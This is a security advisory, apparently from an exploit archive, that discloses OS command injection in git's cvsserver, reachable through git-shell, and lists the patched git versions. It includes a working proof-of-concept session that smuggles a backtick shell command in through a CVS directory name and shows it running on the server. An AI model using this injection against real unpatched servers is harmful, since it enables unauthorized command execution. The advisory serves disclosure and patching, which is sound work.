Git cvsserver Remote Command Execution

Git cvsserver Remote Command Execution
Posted Sep 28, 2017
Authored by joernchen | Site phenoelit.de

The git subcommand cvsserver is a Perl script which makes excessive use of the backtick operator to invoke git. Unfortunately user input is used within some of those invocations and it allows for OS command injection. Versions before before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 are affected.

[ Description ]
The `git` subcommand `cvsserver` is a Perl script which makes excessive
use of the backtick operator to invoke `git`. Unfortunately user input
is used within some of those invocations.


It should be noted, that `git-cvsserver` will be invoked by `git-shell`
by default without further configuration.

[ Example ]
Below a example of a OS Command Injection within `git-cvsserver`
triggered via `git-shell`:

=====8<=====
[git@host ~]$ cat .ssh/authorized_keys
command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....

[joernchen@host ~]$ ssh git@localhost cvs server
Root /tmp
E /tmp/ does not seem to be a valid GIT repository
E
error 1 /tmp/ is not a valid repository
Directory .
`id>foooooo`
add
fatal: Not a git repository: '/tmp/'
Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.
[joernchen@host ~]$

[git@host ~]$ cat foooooo
uid=619(git) gid=618(git) groups=618(git)
[git@host ~]$
=====>8=====

[ Solution ]
Upgrade to one of the following git versions:
* 2.14.2
* 2.13.6
* 2.12.5
* 2.11.4
* 2.10.5
